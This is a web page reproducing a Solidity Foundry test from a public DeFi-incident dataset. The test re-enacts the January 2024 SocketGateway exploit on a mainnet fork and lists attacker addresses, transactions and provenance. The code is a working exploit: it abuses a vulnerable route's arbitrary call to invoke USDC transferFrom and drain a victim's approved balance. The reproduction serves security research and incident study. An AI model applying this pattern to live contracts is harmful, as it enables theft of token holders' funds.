Public reproduction file

src/test/2024-01/SocketGateway_exp.sol

Public reproduction file for dataset entry SocketGateway.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-01/SocketGateway_exp.sol77 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "./../interface.sol";
6 
7interface ISocketGateway {
8    function executeRoute(uint32 routeId, bytes calldata routeData) external payable returns (bytes memory);
9}
10 
11interface ISocketVulnRoute {
12    function performAction(
13        address fromToken,
14        address toToken,
15        uint256 amount,
16        address receiverAddress,
17        bytes32 metadata,
18        bytes calldata swapExtraData
19    ) external payable returns (uint256);
20}
21 
22// @KeyInfo - Total Lost : ~3.3M US$
23// Attacker : https://etherscan.io/address/0x50DF5a2217588772471B84aDBbe4194A2Ed39066
24// Attack Contract : https://etherscan.io/address/0xf2D5951bB0A4d14BdcC37b66f919f9A1009C05d1
25// Created Attack Contract: https://etherscan.io/address/0xd2bc9A9c2C39B8693ED4B2b72469032E87ED7F4a
26// Vulnerable Contract : https://etherscan.io/address/0x3a23F943181408EAC424116Af7b7790c94Cb97a5 (the faulty route is vulnerable not the gateway itself)
27// Attack Tx : https://etherscan.io/tx/0xc6c3331fa8c2d30e1ef208424c08c039a89e510df2fb6ae31e5aa40722e28fd6
28 
29// @Info
30// Vulnerable Contract Code : https://etherscan.io/address/0xCC5fDA5e3cA925bd0bb428C8b2669496eE43067e#code
31 
32// @Analysis
33// Post-mortem :https://twitter.com/BeosinAlert/status/1747450173675196674
34// Twitter Guy : https://twitter.com/peckshield/status/1747353782004900274
35 
36//In this example i didnt do a batch transferfrom for multiple target addresses,just did one for simplicity
37contract SocketGatewayExp is BaseTestWithBalanceLog {
38    address _gateway = 0x3a23F943181408EAC424116Af7b7790c94Cb97a5;
39    address _usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
40 
41    address targetUser = 0x7d03149A2843E4200f07e858d6c0216806Ca4242;
42    uint32 routeId = 406; //Recently added vulnerable route id
43 
44    ISocketGateway gateway = ISocketGateway(_gateway);
45    IERC20 USDC = IERC20(_usdc);
46 
47    receive() external payable {}
48 
49    function setUp() public {
50        vm.createSelectFork("mainnet", 19_021_453);
51        USDC.approve(_gateway, type(uint256).max);
52        fundingToken = _usdc;
53    }
54 
55    function getCallData(address token, address user) internal view returns (bytes memory callDataX) {
56        require(IERC20(token).balanceOf(user) > 0, "no amount of usdc for user");
57        callDataX =
58            abi.encodeWithSelector(IERC20.transferFrom.selector, user, address(this), IERC20(token).balanceOf(user));
59    }
60 
61    function getRouteData(address token, address user) internal view returns (bytes memory callDataX2) {
62        callDataX2 = abi.encodeWithSelector(
63            ISocketVulnRoute.performAction.selector,
64            token,
65            token,
66            0,
67            address(this),
68            bytes32(""),
69            getCallData(_usdc, user)
70        );
71    }
72 
73    function testExploit() public balanceLog {
74        gateway.executeRoute(routeId, getRouteData(_usdc, targetUser));
75        require(USDC.balanceOf(address(this)) > 0, "no usdc gotten");
76    }
77}

Analysis

Dataset entry

Public Foundry test for “SocketGateway” (2024-01-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/basetest.solImported by this file · 142 lines
src/test/interface.solImported by this file · 6133 lines
src/test/2024-01/BarleyFinance_exp.solSame month in the dataset · 106 lines
src/test/2024-01/Bmizapper_exp.solSame month in the dataset · 81 lines
src/test/2024-01/CitadelFinance_exp.solSame month in the dataset · 172 lines
src/test/2024-01/DAO_SoulMate_exp.solSame month in the dataset · 77 lines
src/test/2024-01/Freedom_exp.solSame month in the dataset · 88 lines
src/test/2024-01/Gamma_exp.solSame month in the dataset · 158 lines
src/test/2024-01/LQDX_alert_exp.solSame month in the dataset · 108 lines
src/test/2024-01/MIC_exp.solSame month in the dataset · 212 lines
src/test/2024-01/MIMSpell2_exp.solSame month in the dataset · 241 lines
src/test/2024-01/NBLGAME_exp.solSame month in the dataset · 160 lines
src/test/2024-01/OrbitChain_exp.solSame month in the dataset · 114 lines
src/test/2024-01/PeapodsFinance_exp.solSame month in the dataset · 91 lines
src/test/2024-01/RadiantCapital_exp.solSame month in the dataset · 156 lines
src/test/2024-01/Shell_MEV_0xa898_exp.solSame month in the dataset · 69 lines
src/test/2024-01/WiseLending02_exp.solSame month in the dataset · 176 lines
src/test/2024-01/XSIJ_exp.solSame month in the dataset · 72 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x50df5a2217588772471b84adbbe4194a2ed39066
Attack Contract
0xf2d5951bb0a4d14bdcc37b66f919f9a1009c05d1
Vulnerable Contract
0x3a23f943181408eac424116af7b7790c94cb97a5
Vulnerable Contract
0xcc5fda5e3ca925bd0bb428c8b2669496ee43067e

Attack Tx
0xc6c3331fa8c2d30e1ef208424c08c039a89e510df2fb6ae31e5aa40722e28fd6

File record

Name: SocketGateway
Path: src/test/2024-01/SocketGateway_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: a9053874f7cbe1ba17bf663ad0297967f6e24549
Language: Solidity
Size: 78 lines
Date: 2024-01-12
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-01/SocketGateway_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a9053874f7cbe1ba17bf663ad0297967f6e24549, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.